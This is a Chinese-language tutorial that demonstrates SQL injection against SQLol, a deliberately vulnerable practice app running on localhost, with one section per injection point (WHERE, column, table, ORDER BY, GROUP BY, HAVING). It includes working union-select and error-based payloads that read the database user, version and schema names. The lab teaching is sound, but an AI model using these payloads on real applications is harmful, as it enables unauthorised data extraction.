前面,我們已經安裝好了SQLol,打開http://localhost/sql/,首先跳轉到http://localhost/sql/select.php,我們先從select模塊進行測試。
一條完成Select語句,大致可以這樣表示:
SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]
接收的參數可能拼接到上述語句中【】的任一個位置。
注射位置不同,構造sql注入語句的方法也有所不同,但大致可以划分為三種。
1、聯合查詢(union select)
2、報錯注入
3、盲注(布爾類型、時間延遲類型)
有的注入點可以同時使用多種方法注入,這里只演示一種。
下面演示注入到不同位置的方法。
一、WHERE 子句里的字符串
Tips:字符型注入;
在注射字符串中輸入:admin,顯示語句,選擇注射位置為,WHERE子句里的字符串,返回的信息為:
SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC
可以知道我們輸入的admin,被拼接到where子句里面,然后我們開始構造POC:
admin' union select user()#
如下圖,我們取得數據庫用戶名(root@localhost),可以將user()替換為其他查詢語句查詢其他數據。
二、WHERE 子句里的數字
Tips:與上面的WHERE 子句里的字符串類似,所不同的,這是數字型注入;
在注射字符串中輸入:1,顯示語句,選擇注射位置為,WHERE子句里的數據,返回的信息為:
SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
構造POC:
SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC
如下圖,我們取得數據庫用戶名。
三、整個語句
Tips: 直接可以執行任何sql語句
在注射字符串中輸入:select * from users,users為數據庫用戶表,顯示語句,選擇注射位置為,整條語句,返回的信息為:
select * from users
可以在這里輸入任何的sql語句執行。
四、Column 名稱
Tips: 注入位置在username
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
利用方式:
1、輸入字段查詢users表,或直接用*代替,查詢users表中所有的數據
2、注釋掉后面的語句,與select直接拼接,例如:注射字符串位置輸入version(),拼接成
SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
替換version(),輸入其他數據庫查詢語句,可查詢其他數據
五、Table 名稱
Tips:注射位置在表users
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
利用方式:
1、輸入正確的表名,union select查詢
六、ORDER BY 子句
Tips:注射位置在order by
當使用union操作時,排序語句必須放在最后面才正確,就是說只能在union的最后一個子查詢中使用order by,因此這里不能用union slect。
利用方式:
報錯注入
1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
得到數據庫sqlol,可以使用其他語句繼續報錯注入。
參考資料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm
七、GROUP BY 子句
Tips:注射位置在group by
GROUP BY 語句用於結合合計函數,根據一個或多個列對結果集進行分組。
利用方式:
1、與order by 一樣,直接報錯注入
2、在MSSQL中,可以利用group by , having 進行爆當前列
八、HAVING 子句
Tips:having位置
利用方式:
報錯注入
最后
歡迎關注個人微信公眾號:Bypass--,每周一篇原創高質量的干貨。